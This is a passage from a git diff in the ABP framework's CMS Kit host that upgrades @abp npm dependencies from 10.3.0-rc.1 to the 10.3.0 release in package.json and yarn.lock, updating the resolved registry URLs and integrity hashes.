+ integrity sha512-iNehxiqWJQl2wwE9EbsQANPv/ITMh0yUcPATUlG/McoLWdpPcqobx75NxXcHDqW8ZarecqSktjJDZPvaUaD+jA==
dependencies:
just-compare "^2.3.0"
diff --git a/modules/cms-kit/host/Volo.CmsKit.Web.Unified/package.json b/modules/cms-kit/host/Volo.CmsKit.Web.Unified/package.json
index 627b3ab9d7..8b258a31f0 100644
--- a/modules/cms-kit/host/Volo.CmsKit.Web.Unified/package.json
+++ b/modules/cms-kit/host/Volo.CmsKit.Web.Unified/package.json
@@ -1,9 +1,9 @@
{
- "version": "1.0.0",
- "name": "my-app",
- "private": true,
- "dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0-rc.1",
- "@abp/cms-kit": "10.3.0-rc.1"
- }
+ "version": "1.0.0",
+ "name": "my-app",
+ "private": true,
+ "dependencies": {
+ "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0",
+ "@abp/cms-kit": "10.3.0"
+ }
}
diff --git a/modules/cms-kit/host/Volo.CmsKit.Web.Unified/yarn.lock b/modules/cms-kit/host/Volo.CmsKit.Web.Unified/yarn.lock
index 5a6925d6b7..fc0d3f8801 100644
--- a/modules/cms-kit/host/Volo.CmsKit.Web.Unified/yarn.lock
+++ b/modules/cms-kit/host/Volo.CmsKit.Web.Unified/yarn.lock
@@ -2,294 +2,294 @@
# yarn lockfile v1
-"@abp/aspnetcore.mvc.ui.theme.basic@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.basic/-/aspnetcore.mvc.ui.theme.basic-10.3.0-rc.1.tgz#82f61b5d112c8cbc5c74077809d84525edc1200a"
- integrity sha512-eo4ubQfc6zT2/uTKM7U7XS6vExSKsg2szfvybFuBWJjmgb1ybfU2dKDXK4OfLdt0/wUBqBlEKDNK6NWZTfiovQ==
- dependencies:
- "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0-rc.1"
-
-"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0-rc.1.tgz#465bb75a8b974be7a7945099fd9055ee68e3c9fe"
- integrity sha512-89ca3oXYFEkaKbC1+mNsn6U4x0bls5iffcp1ZqaY5LTfHUhO5tJXbNf5kiOiEwT9TCYwPUHyLbUd2+rT72MGFA==
- dependencies:
- "@abp/aspnetcore.mvc.ui" "~10.3.0-rc.1"
- "@abp/bootstrap" "~10.3.0-rc.1"
- "@abp/bootstrap-datepicker" "~10.3.0-rc.1"
- "@abp/bootstrap-daterangepicker" "~10.3.0-rc.1"
- "@abp/datatables.net-bs5" "~10.3.0-rc.1"
- "@abp/font-awesome" "~10.3.0-rc.1"
- "@abp/jquery-validation-unobtrusive" "~10.3.0-rc.1"
- "@abp/lodash" "~10.3.0-rc.1"
- "@abp/luxon" "~10.3.0-rc.1"
- "@abp/malihu-custom-scrollbar-plugin" "~10.3.0-rc.1"
- "@abp/moment" "~10.3.0-rc.1"
- "@abp/select2" "~10.3.0-rc.1"
- "@abp/sweetalert2" "~10.3.0-rc.1"
- "@abp/timeago" "~10.3.0-rc.1"
-
-"@abp/aspnetcore.mvc.ui@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0-rc.1.tgz#c5764ec2fcab13ee591863c54e59e33fe1da90b4"
- integrity sha512-vmBsradTXcTEqHUXM5rTLYnsNNYJDeyyvz3kaLLqNwYhjo2FxL8D8IUZnp3Mk0qkBpYaYeGag5uxd06VDczDhg==
+"@abp/aspnetcore.mvc.ui.theme.basic@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.basic/-/aspnetcore.mvc.ui.theme.basic-10.3.0.tgz#bf48e8fa571067d15bc19bdd3f13509acf58f9c7"
+ integrity sha512-t9pHqrXaCDYcsdrz0VPKT28ujnnU+EVxyVDogQSRRpKsDoLhNcOD8NI3swdAWBQZ46YSCDfeDR+gfwjC3yqpXQ==
+ dependencies:
+ "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0"
+
+"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0.tgz#bcf72b5dd1dea285c3fa7cb1b6ce27c29b985ff7"
+ integrity sha512-X5xmMSxnIzNJPexvKR9y6jyn0v5n2wscN1SECG/bMI1YdKugMlkfkSuyUmLn+RX9/YdcK0jOsdMhfuzs5mgAOA==
+ dependencies:
+ "@abp/aspnetcore.mvc.ui" "~10.3.0"
+ "@abp/bootstrap" "~10.3.0"
+ "@abp/bootstrap-datepicker" "~10.3.0"
+ "@abp/bootstrap-daterangepicker" "~10.3.0"
+ "@abp/datatables.net-bs5" "~10.3.0"
+ "@abp/font-awesome" "~10.3.0"
+ "@abp/jquery-validation-unobtrusive" "~10.3.0"
+ "@abp/lodash" "~10.3.0"
+ "@abp/luxon" "~10.3.0"
+ "@abp/malihu-custom-scrollbar-plugin" "~10.3.0"
+ "@abp/moment" "~10.3.0"
+ "@abp/select2" "~10.3.0"
+ "@abp/sweetalert2" "~10.3.0"
+ "@abp/timeago" "~10.3.0"
+
+"@abp/aspnetcore.mvc.ui@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0.tgz#0d125efd172b6772c516eae82cfe35f144da73fc"
+ integrity sha512-kp0XdwrlNz+NeLdxSJ6xdUaB5PM7xdbiLsIyTUcwa7AUKBtcVU6yq6qttbk9VyO0KqDgLywSuEL+9PkFhthuPg==
dependencies:
ansi-colors "^4.1.3"
-"@abp/bootstrap-datepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0-rc.1.tgz#58586e2333116ef840c3abd44bb2b54f944c92b1"
- integrity sha512-PEXWi22YfOBdbxCUfLkEAVL45DCxzDbNALFLfsCK3LPvXuL5Pw0YU0CrezAW54+1tzPpbWh1HLyEyaUAINz6Wg==
+"@abp/bootstrap-datepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0.tgz#032aaf0e474f971b9f90ca7fb83ff7ca4d7be933"
+ integrity sha512-7mRuRRIE4R0yw1cZuoIskgrqZPUa5/SJzse0K6u+/QDqvyLjjOsyE51WuqAXxlVfKpLp/fBvXZwnCDeCRU9iZQ==
dependencies:
bootstrap-datepicker "^1.10.1"
-"@abp/bootstrap-daterangepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0-rc.1.tgz#088b96754014b3c7a8884689574c2332cd5c292e"
- integrity sha512-uZRh/Eh/3nyFe4KfMLRMud5LmUs2JFKSeA4KeRliGe1PD68E6NizP/ZiNzkYFP2K2p0nNUQrqmSe7ZFHVELN4A==
+"@abp/bootstrap-daterangepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0.tgz#b2a9171595ee311c32f57460013870cde67c6b7f"
+ integrity sha512-ejLu3sWhfNDlsXeUXAQudZvPv0xM4McxIK65vuVEZiKIwFSnrLYil8jBi12EJJmAw5yYA/KC0EdyG82E+AWpmA==
dependencies:
- "@abp/moment" "~10.3.0-rc.1"
+ "@abp/moment" "~10.3.0"
bootstrap-daterangepicker "^3.1.0"
-"@abp/bootstrap@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0-rc.1.tgz#fc1ccf88e689af336fec9c76d367bcaf66253961"
- integrity sha512-vdhaz3ccmIflmufhNiQE/8I2RZdSSv3V4sbA2NC24csx8xl4J/R2JFhTyTLixpxOR+/p1cWw1F2oMYVzjV0+eg==
+"@abp/bootstrap@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0.tgz#23535c90613271b02fdad3eae1556b67844729e6"
+ integrity sha512-JnVOeJUyR78oo+QURvaNqa9xGZaVux0PRIpFpd4Qsqiiz9FvJrbCuSoBkkZoj/0eH23WoZ3bJxy0K9LDE19qvg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
- "@abp/popper.js" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
+ "@abp/popper.js" "~10.3.0"
bootstrap "^5.3.8"
-"@abp/clipboard@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/clipboard/-/clipboard-10.3.0-rc.1.tgz#2350aba655b18510dea0ca50cb91e5e5960e9480"
- integrity sha512-jKo5H0+FSA+1aDdIWDmyAwNP2nFf19x4nAHbclkwnsexHBRfQlvx6yB6sY85BP+Ft6zxIn9gRRLbJPvFwsKBWw==
+"@abp/clipboard@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/clipboard/-/clipboard-10.3.0.tgz#7bfbfcae6a135065ee13afd1b7d3abc92176a203"
+ integrity sha512-Cah+jOzcG1KZh6PXWxo+BedU7gsqTuNlTDsCzBCk2NuV2/Blb5qumAwEP4GBKAEIY/XwcFQP/ubxuXMTNjr0jw==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
clipboard "^2.0.11"
-"@abp/cms-kit.admin@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/cms-kit.admin/-/cms-kit.admin-10.3.0-rc.1.tgz#ae092d1a75efbb257c725482a3139bdba3e804b7"
- integrity sha512-enEcnM3MlDRpQ0YiBmy2km6mqiAUztOodhvuF8I63xONA1T4jlbJUi01sBq2lg3RyxKqv7xBStUxmdH2cw64Pg==
+"@abp/cms-kit.admin@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/cms-kit.admin/-/cms-kit.admin-10.3.0.tgz#3ac7c8e37f7de1345fbb7634ae0d797d28b6751b"
+ integrity sha512-zvFpdfvBJHg+XC7xM/h9YBe8gPgRrb6AJx+S9eT1+MNgyE+Lm3ghxAa6SBIg5MgPxrVpLO7N8HHrzu5Kx2ksUw==
dependencies:
- "@abp/codemirror" "~10.3.0-rc.1"
- "@abp/jstree" "~10.3.0-rc.1"
- "@abp/markdown-it" "~10.3.0-rc.1"
- "@abp/slugify" "~10.3.0-rc.1"
- "@abp/tui-editor" "~10.3.0-rc.1"
- "@abp/uppy" "~10.3.0-rc.1"
+ "@abp/codemirror" "~10.3.0"
+ "@abp/jstree" "~10.3.0"
+ "@abp/markdown-it" "~10.3.0"
+ "@abp/slugify" "~10.3.0"
+ "@abp/tui-editor" "~10.3.0"
+ "@abp/uppy" "~10.3.0"
-"@abp/cms-kit.public@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/cms-kit.public/-/cms-kit.public-10.3.0-rc.1.tgz#cda7ca27a95f5b3903ce12264d0cefc688b5a33a"
- integrity sha512-b2utxPU9Q9pzJQjhqpOuB0IZCPJRMAwCSlkOnh6C1YIUwlEpiGU3XFYG92qcrbSjMuX4L4p/HhxNAw8PQkVO0Q==
+"@abp/cms-kit.public@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/cms-kit.public/-/cms-kit.public-10.3.0.tgz#2331751380b3f224d28481c4472f31fbfc1e8e1a"
+ integrity sha512-t7xHhYZqEneV4BwMk7StfQXB1xy0ohoCBDduYwRPGkAvgvWifFNwZ9ZuFwBwItPPeg7llzYPLxLyZg265tNDeQ==
dependencies:
- "@abp/highlight.js" "~10.3.0-rc.1"
- "@abp/star-rating-svg" "~10.3.0-rc.1"
+ "@abp/highlight.js" "~10.3.0"
+ "@abp/star-rating-svg" "~10.3.0"
-"@abp/cms-kit@10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/cms-kit/-/cms-kit-10.3.0-rc.1.tgz#89ae433f6f48a0b104300b8cdd2d83bdc619c8df"
- integrity sha512-dZfWaxil5/51DYCc9GT4h7vuuZexkWGtyvEMs74/QKlPUyX4Ad6XklMVsCSDH0b0DqT+0RNRl9xBXkYkbC8/Lw==
+"@abp/cms-kit@10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/cms-kit/-/cms-kit-10.3.0.tgz#a67d33eda79a55d6f327d41e320a3bf88360a3ab"
+ integrity sha512-/nMSj95DkxnI6SG11I0ltdDMaMKNKQ6Fp5/aDNNbFyBXbbOpPzKulhHJIighynXk/B9N01mztL1B5MSL5ViSQg==
dependencies:
- "@abp/cms-kit.admin" "~10.3.0-rc.1"
- "@abp/cms-kit.public" "~10.3.0-rc.1"
+ "@abp/cms-kit.admin" "~10.3.0"
+ "@abp/cms-kit.public" "~10.3.0"
-"@abp/codemirror@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/codemirror/-/codemirror-10.3.0-rc.1.tgz#f82db77ccb4995bf7929ab747dfb848f9e56f858"
- integrity sha512-lylZ+3ThrRkZffWtni1rv7F3fiRol0ObIVRluRuhU49OXcrg7B7YD35/DWP8McEIF2VKT8gZSUHbBC/b1ycgJw==
+"@abp/codemirror@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/codemirror/-/codemirror-10.3.0.tgz#57345c0d68850a4b1d0c62faf2c8cde221bada17"
+ integrity sha512-vo53MxaQE3l/la5kTXQLh0K4wgCPmfvAO0g552xEKzGEpAtD9Cl3EvmYmdJGxXlfFnAz4ic6/YZ6SJ+LCprFvw==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
codemirror "^5.65.1"
-"@abp/core@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0-rc.1.tgz#68f85db8219e3a2618a60cf82933bc52a2d1ec49"
- integrity sha512-tOl/yDSPqRaHbENFVYcjqkdKGM4Qhjd/QPushVaH57pxalmv6canhiWAa0x7W31qxdY9od48H7MYoJx61jURhw==
+"@abp/core@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0.tgz#9960f8179d1fdc42250d0bbba60e379590c8199c"
+ integrity sha512-DpL4qrsyCUolypUwxKVDDK8bPVhNbYKx6l2ytUjoOu73CwgPoCSGkvHWrmKIsEsmTfOC9J7+GDErh8jWR/5pVA==
dependencies:
- "@abp/utils" "~10.3.0-rc.1"
+ "@abp/utils" "~10.3.0"
-"@abp/datatables.net-bs5@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0-rc.1.tgz#55e8dde9024c51ccb70fe5b640bbb434fff2e00d"
- integrity sha512-d6vFlrNgS6MIpXi2EcZjGFbFbCl5I5hzM49NxQeB3hyG7gUElFsEJkf66UcO8PN/56Uo+sFe/rCdrcvyLLDHmg==
+"@abp/datatables.net-bs5@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0.tgz#d8711c52f7c03df51d14d1a5f0e6b00f6d9551fc"
+ integrity sha512-I8rEU98kEhsNZjVdpPvOcG6F4xr1CgIRb0bTf5bfd8ufzxEUKB+xF9bguJIB5kYwjme8QbMlcJ0V/c+N4iewtQ==
dependencies:
- "@abp/datatables.net" "~10.3.0-rc.1"
+ "@abp/datatables.net" "~10.3.0"
datatables.net-bs5 "^2.3.4"
-"@abp/datatables.net@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0-rc.1.tgz#8e275f31d8b24b098c6acc3ec1de7ef2fe587e73"
- integrity sha512-m57imr9KOkasgDCIFaIgoDqFDhS71wzClE2WCk+Uk7qHLRgRMa7CYRHh5xeck4hgPWq9DEmAZS0ogbHxLgkLKQ==
+"@abp/datatables.net@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0.tgz#f98319d8e226da5aced4d1d94d3ababb11327074"
+ integrity sha512-imM25WmO1V0hqeG5iPeLvYMID2HX7SG9drz47qilr74MhpY2i2J7HlsvZDonNkjpxzhK4DHpGeQd6mE2QzG7Hw==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
datatables.net "^2.3.4"
-"@abp/font-awesome@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0-rc.1.tgz#e9d4a1b36652773509259440b77b804af18c5364"
- integrity sha512-8zvZh7lbPlvH0/SKYtUeQF+ezKSoohwFxzFhOJ88GOdtwp620mBCwYEHjZA64e/Xjk6Oda2VrdNJ318IvgjIvA==
+"@abp/font-awesome@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0.tgz#43602605f5633132cc6fe21b6ce5ab19b86bdf27"
+ integrity sha512-RUOVHxDyT81hp01DhUuSshKvLM+NiTt9VP+O4/rSj+SOaSJAm3wX7eziCKrDi6H41FwhoZL75CifLhcZVyVO4A==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@fortawesome/fontawesome-free" "^7.0.1"
-"@abp/highlight.js@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/highlight.js/-/highlight.js-10.3.0-rc.1.tgz#76d699f549aa630afda1f822717a3d3e2d846e88"
- integrity sha512-m43P+D3gOsbc6tr2qQ/OmpCU6IqfVkw1frq1J6DcwlpEf5rCFhSEuvSq7roe9OTqsFX0xa+a1X2BHRNc3CkS2Q==
+"@abp/highlight.js@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/highlight.js/-/highlight.js-10.3.0.tgz#1b04355e84eba15c395cdfc7055c8d610296206b"
+ integrity sha512-cqApQta9gEs03jk/s+yQsm1mnHGNDZPHnkGYgxYKI41Nl9meV6+5Dkz0b4gnQoUKXvFlmuOuf2DOjot7a2yB7g==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@highlightjs/cdn-assets" "~11.11.1"
-"@abp/jquery-validation-unobtrusive@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0-rc.1.tgz#b547557e85838afcc783ef3d502c2da3a31f4a63"
- integrity sha512-NU00gPTHDF2HTnsHaZKAp17DTgAHUCz1fwuXRq4f7Ke5Q9HwiJx2IpIFaeR49xe9XRg1d9iRbNKFkMycjX7rEg==
+"@abp/jquery-validation-unobtrusive@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0.tgz#5bc14ed642d48f9eae54761ad39bd9f51beeb005"
+ integrity sha512-j/9fA7tAs1/t3P2U1kKUiDlHAImmseul6KzvV77sNpnms7g4+x6Fgsa+sMzicSRGOLz7lK5RHdBFyvfKxt7/nA==
dependencies:
- "@abp/jquery-validation" "~10.3.0-rc.1"
+ "@abp/jquery-validation" "~10.3.0"
jquery-validation-unobtrusive "^4.0.0"
-"@abp/jquery-validation@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0-rc.1.tgz#c4ab1a0692c1d224c5f60ffc4cb25545a7024c31"
- integrity sha512-JaUhEbhKFB1DPFe+xTeIqTvN3YgFm7gdlpqMxN9Q5k0mnecQHlNmXbmC0oDa+CyxZDvMjWOrSMrJw/8yL4moQQ==
+"@abp/jquery-validation@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0.tgz#e669a54d28f6c0b863a284322e527a5c65cb7dbf"
+ integrity sha512-Wo95ZJLS1ScKm7dm3zFlEFUKqXrqo3m9+82DX5mFJUVCHHuBPrhxvDjxNJ18z4gpoOUu08uqxX7LFbphtkRM3g==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
jquery-validation "^1.21.0"
-"@abp/jquery@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0-rc.1.tgz#bc8d3a468483165f8d35cbfa5e91621c2fa53c8f"
- integrity sha512-tCZsi5U3oWZOazxRuqrEPyE85jZ4D71IfSrT9/Brf1wAELyrttt5ke3P57yQqjBevbfSqW652Wxca/w2GidQcg==
+"@abp/jquery@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0.tgz#3b60bcdfe8f9a33be79db1bea2500837fe09c67d"
+ integrity sha512-TndX/8bJx5vGAAwIykx2CJUZIFFDkwpD+cUjE45WO2dSrY2M5vNfWiuw95OcLGngO8RaT/gTkFGzPuZqKn9ggg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
jquery "~3.7.1"
-"@abp/jstree@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jstree/-/jstree-10.3.0-rc.1.tgz#11a0b55c0fc5ceefead83caa93806cc856700181"
- integrity sha512-1KrfLkTuJScpkiEOujjIYtoiSaRJ31FjYi3DanjbRznKmbFlmqE9VQDg90Dqb2z9r3Oqhj5opEbH7Q0OWwILLQ==
+"@abp/jstree@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jstree/-/jstree-10.3.0.tgz#ad6d3a7fe6ec2d0a55ad1fa028a61ec0e7e1157d"
+ integrity sha512-MR7MIbjDSHq/MUk8FDjIKrram2aWYuuC9OKZLCZ8KH2rsfx9Y0wjYTKcoouwMldLQ/71O7/pY/RRVFCxp5ROvQ==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
jstree "^3.3.17"
-"@abp/lodash@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0-rc.1.tgz#7bdf8038f28a822dfc12f0bfa9b7d81f13e16d99"
- integrity sha512-tlev/kkQ3Q+OC7BT1ZJ+TThIbVQ3CZ+mtEujLt6zHVIxx8tukbYmmDMpltrmOL2kGnQeDdMqFcQoNJAAYOju+A==
+"@abp/lodash@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0.tgz#bd091fc811d85d2f535802631af6165ac1c8a198"
+ integrity sha512-7JDU9UlbD+9odhFQjolvyJZ6EQKG5kiL2Pt9T1RMVchNh47iEuZwfi8c+CIxa3YxA3n6lAsZ+8Pmxq4yOku+RQ==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
lodash "^4.17.21"
-"@abp/luxon@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0-rc.1.tgz#e13db7cade7761964e9820315e43bac182f80784"
- integrity sha512-FB42gIKvfDJBu2vFZDBFVL6bn9jZpDpKdt5Kkp4OKQak9NHVyNuzH+R95Hr99vB+KELyTwW7hihc6Kl2oCrwWQ==
+"@abp/luxon@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0.tgz#acbd92289456a546607ed4506dc36f71e6da53c9"
+ integrity sha512-IIi2+odQzuFK4qV1KJ2HtlTewSPby2F9CJFNNtNRMzX/P30dQkAGWpNV5/FZzJwFIihR+zSei5wlu11WpPugsw==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
luxon "^3.7.2"
-"@abp/malihu-custom-scrollbar-plugin@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0-rc.1.tgz#1af6ebce0553c368d884752efcaef6cceaeb806c"
- integrity sha512-+BYN/3DhhtI7tS4nv4BpdsPiQLEVrLQ0KgawGRr1h3SV/nz1dtBTBgTbKvy/4bDHoMSKA1dPfudxi6XjgwUoBA==
+"@abp/malihu-custom-scrollbar-plugin@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0.tgz#209931d02a994ef448371d6203e9ec74c72b61e6"
+ integrity sha512-hJjwEExP3hKE1MNDG+pcvoHRFUihh3t/0wCPNaoePFd8+QnJuyQ9U0VA+vdtykTxm8uFNE2uaCgyHffoHmzeZA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
malihu-custom-scrollbar-plugin "^3.1.5"
-"@abp/markdown-it@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/markdown-it/-/markdown-it-10.3.0-rc.1.tgz#9acabf7b91ebbdcf4699924c046d2f9ae926374e"
- integrity sha512-LE7lb47fgEH97RWFz/OXsvFuqkYSDjJUXWCG58HMsrwDqDqZhfLGPb13y5xueVTin+jdBFX5WadOV3fueRlMJQ==
+"@abp/markdown-it@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/markdown-it/-/markdown-it-10.3.0.tgz#fbc5fff1e9dd1c31c8b96ebd6b481326809ddff0"
+ integrity sha512-IN01vs2axD+zrygwF5IyYmmFV+GqV7O4NK02ThqX97q0AZ5ZwqOccwcY/kkBkp+qAWoTMcPb6eOQZrTG631qUg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
markdown-it "^14.1.0"
-"@abp/moment@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0-rc.1.tgz#82229c44e7b1417c872edec53ed3f51d06bf7e8b"
- integrity sha512-hKQ8VE25Wqo1mj/ks8qw39ONLQK5sV33xc0bfYHTk0+NVAholAPZF7gjqiDzaAWXzVBVJjemH554AM3y14VNAA==
+"@abp/moment@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0.tgz#5a5c4ece14d1bc4dd33134f85d1d085733d3c975"
+ integrity sha512-8DKw2jgC/28nLrB/CR9BiyUSt0pUmWF+bEgAsduln6VrSCHn0aRLqgs+wi/9Ol+1bl7pO2wbJOYg1qbnkDhrAQ==
dependencies:
moment "^2.30.1"
-"@abp/popper.js@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0-rc.1.tgz#3d758e25e7b09210542e4da06558cd5a1b710b45"
- integrity sha512-3PKJpwzTYAQ6UJFe3u9bn1qKRjXwmILlR9umyH998bfJLr0Zl04rBfcbIL9/l3S01qlCMt2bwjre0+wpRl+/OA==
+"@abp/popper.js@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0.tgz#cb2415e45a905854980f4e864c00c8fe1156a6f9"
+ integrity sha512-Yfafs50t7DKnShxAl9WPpihZxG5cLAt99rJmIyXBYUQIpkHkxDyUIA5b4gCoVCqKgjFDOxG7i6L+Ovd/2N8k7g==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@popperjs/core" "^2.11.8"
-"@abp/prismjs@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/prismjs/-/prismjs-10.3.0-rc.1.tgz#147852ca4e0f9ceebe5681b65ad440b48325021f"
- integrity sha512-sAWkFAP8GPx4UBR2EXg9Uz0sivK9CTWccUGGecttK9mNf12YbtVftmS145Fgip2+ifklPTcVRjXWIghyJPYu5Q==
+"@abp/prismjs@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/prismjs/-/prismjs-10.3.0.tgz#4ea33ece50cefcfc8a89c17b0d265b484b7205ee"
+ integrity sha512-WvkLyg+izkcX6sEOYy41B9lebiniYxMQZ++c+ysyOQKZzrYEEFOOLlnFS9jPqSKLv9cNRizhG1CCfiwoYCxufQ==
dependencies:
- "@abp/clipboard" "~10.3.0-rc.1"
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/clipboard" "~10.3.0"
+ "@abp/core" "~10.3.0"
prismjs "^1.30.0"
-"@abp/select2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
